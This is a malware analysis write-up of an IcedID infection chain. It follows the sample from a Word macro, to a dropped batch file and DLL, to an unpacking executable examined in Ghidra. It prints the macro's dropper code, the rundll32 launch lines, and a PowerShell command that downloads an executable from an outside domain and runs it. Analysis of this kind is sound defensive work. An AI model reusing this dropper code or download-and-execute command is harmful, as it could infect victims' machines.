IcedId

Alföldi Mátyás

June 24, 2020

Contents

doc file

After inflating with OfficeMalscanner, vbaProject.bin was found which contains ShellExecute.
After using OfficeMalscanner info on it, various files could be extracted.
Seems to place bionex.bat and Hoistes.txt into ProgramData, and runs bionex.bat afterwards.
It is a bit obfuscated with gotos, and plenty of junk code, but one can easily understand what part of the code is actually doing something.
Important parts(sanitized):

```
BolaNiks:
Attribute VB_Name = "BolaNiks"
Attribute VB_Base =  "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "THC, 0, 0, MSForms, CheckBox"

Private Sub Document_Open()
  saveFolder = "C:\programdata"
  Biola = THC.GroupName
  For G = 1 To Len(Biola) Step 2
    strTemp = Chr$(Val("&" + "H" + Mid$(Biola, G, 2)))
    strReturn = strReturn + strTemp
  Next G
  Biola = Right(strReturn, Len(strReturn) - 1)
  Ver_ri = saveFolder & "\Hoistes.txt"
  Open Ver_ri For Binary As #1
  Put #1, , Chr$(77) + Biola
  Close #1
  Hruort = saveFolder & "\bionex.bat"
  Open Hruort For Binary As #1
  Put #1, , THC.Caption
  Close #1
End Sub
Private Sub Document_Close()
  saveFolder = "C:\programdata"
  Hruort = saveFolder & "\bionex.bat"
  ZapStaryi (Hruort), 0, 1, 0
End Sub
```

```
Module1-5:
Attribute VB_Name = "Module(1-5)"

#If VBA7 Then
Private Declare PtrSafe Function CreateProcessA Lib "kernel32    "
(ByVal lpApplicationName As String, ByVal lpCommandLine As String,
 ByVal lpProcessAttributes As LongPtr,  ByVal lpThreadAttributes As LongPtr,
 ByVal bInHeritHandles As LongPtr, ByVal dwCreationFlags As LongPtr,
 ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String,
 siStartup As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION)
 As LongPtr
Private Declare PtrSafe Function WaitForInputIdle Lib "user32    "
(ByVal hProcess As LongPtr, ByVal dwMilliseconds As LongPtr) As LongPtr
#Else
Private Declare Function CreateProcessA Lib "kernel32    "
(ByVal lpApplicationName As String, ByVal lpCommandLine As String,
 ByVal lpProcessAttributes As LongPtr,  ByVal lpThreadAttributes As LongPtr,
 ByVal bInHeritHandles As LongPtr, ByVal dwCreationFlags As LongPtr,
 ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String,
 siStartup As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION)
 As LongPtr
Private Declare Function WaitForInputIdle Lib "user32    "
(ByVal hProcess As LongPtr, ByVal dwMilliseconds As LongPtr) As LongPtr
#End If

Private Type STARTUPINFO
  cb As Long
  lpReserved As String
  lpDesktop As String
  lpTitle As String
  dwX As Long
  dwY As Long
  dwXSize As Long
  dwYSize As Long
  dwXCountChars As Long
  dwYCountChars As Long
  dwFillAttribute As Long
  dwFlags As Long
  wShowWindow As Integer
  cbReserved2 As Integer
  lpReserved2 As Long
  hStdInput As Long
  hStdOutput As Long
  hStdError As Long
End Type

Private Type PROCESS_INFORMATION
  hProcess As Long
  hThread As Long
  dwProcessID As Long
  dwThreadID As Long
End Type

Private Type PROCESS_INFORMATION_EXT
  hProcess As Long
  hThread As Long
  hwnd As Long
  dwProcessID As Long
  dwThreadID As Long
End Type

'SW_HIDE = 0
'SW_NORMAL = 1
'SW_MAXIMIZE = 3
'SW_MINIMIZE = 6
Private Const STARTF_USESHOWWINDOW = &H1&
Private Const SW_HIDE = 3
Private Const NORMAL_PRIORITY_CLASS = &H8000000

Private Const INFINITE = &HFFFF
Public Function ZapStaryi(strProgram As String, hStdIn As Long, hStdOut As Long,
                    hStdErr As Long) As Long 'PROCESS_INFORMATION_EXT
  Dim piProcess As PROCESS_INFORMATION
  Dim siStartup As STARTUPINFO
  Dim lResult
  siStartup.hStdInput = hStdIn
  siStartup.hStdOutput = hStdOut
  siStartup.hStdError = hStdErr
  siStartup.dwFlags = STARTF_USESHOWWINDOW
  siStartup.wShowWindow = SW_HIDE
  lResult = CreateProcessA(vbNullString, strProgram, 0&, 0&, 1&,
               NORMAL_PRIORITY_CLASS, 0&, vbNullString,
               siStartup, piProcess)
  WaitForInputIdle piProcess.hProcess, INFINITE
  ZapStaryi = lResult
End Function
```

bat file

Starts 2 instances of rundll32.exe.
One will start at the Nvidia, the other at the Nvidia2 function.
Content:

```
rundll32.exe C:\programdata\Hoistes.txt,Nvidia &
rundll32.exe C:\programdata\Hoistes.txt,Nvidia2
```

Initial dll run in rundll

File: Hoistes.txt

0.1 Nvidia start

We can see the following powershell script here:
PowerShell New-Item -Path \'C:\\Nvidea_Logs\' -ItemType Directory";
This creates the above mentioned folder.

0.2 Nvidia2 start

Here is also a PowerShell script:
PowerShell Start-Sleep -s 10;iex (New-Object System.Net.WebClient).DownloadFile(\'http://trabuegentry.com/business.exe\',\'c:\\Nvidea_Logs \\Logistic.exe\'); Sleep -s 15;Saps c:\\Nvidea_Logs\\Logistic.exe"
This downloads the next malicious file, and starts it with Saps (Start-Process) In both cases an rtcShell call occurs when looking at it in Ghidra, but one can easily make an educated guess that those commands will be ran.

TODO(low prio): look into it with VB Decompiler Lite

Logistic.exe

At the first glance with Ghidra it seems as if there is only some unpacking process. Some further malicious code will be there most likely, since it asks the tmp dir, and also does a VirtualProtect call.
It also opens a mutex at the start, but does nothing with the return value.
Looking up its hash in VirusTotal confirms this suspicion, since it creates 2 processes, whose exe is located in the temp dir.
(During debugging setting a bp on ShellExecute* and CreateProcess* functions seems like a good idea.)
From the report it is also visible that it sets and deletes reg keys regarding certificates, and has some network traffic.
Lets look into the imports before debugging, to know what to place a bp on.
Interesting ones:

- GetTempPathW (just because it will be close to creating the .exe-s)
- LockResource (Must be loading the 4 bytes found in RCData->IDR_BIN1 in the .rsrc, to see what it is used for)
- LoadLibraryExA/LoadLibraryW (Since it will be close to possible GetProcAddress calls)
- CreateFileW/CopyFileW/Read/WriteFile
- DuplicateHandle (possible protection)
- CreateThread/ResumeThread
- VirtualAlloc
- RegCreateKeyExW/RegDeleteKeyW
- ShellExecuteW

Based on the imports there will be some anti debugging going on in there + GetProcAddress will most likely be calculated/hashed since it is quite unlikely that they use LoadLibrary* without GetProcAddress. After a bit of debugging I found out that a VirtuAlloc-ed location will contain a PE file, which at first is in a slightly modified state, but then is fixed, also the program does unpack itslef too, and the start of the text section will contain code that does a LoadLibrary to kernel32 and GetProcAddress is used. Lets see what gets resolved with the help of GetProcAddress(Only the important ones):

- GetUserNameA,LookupAccountNameW.GetComputerNameExA/W
- SwitchToThread/WaitForSingleObject

- HeapReAlloc/HeapFree/HeapAlloc
- GetModuleFileNameA,GetCommandLineA,GetTempPathA
- File operations
- WinHttp* calls

Note: One interesting thing is that the breakpoints on various calls don't seems to get caught, and it sometimes switches threads which makes debugging a bit more difficult.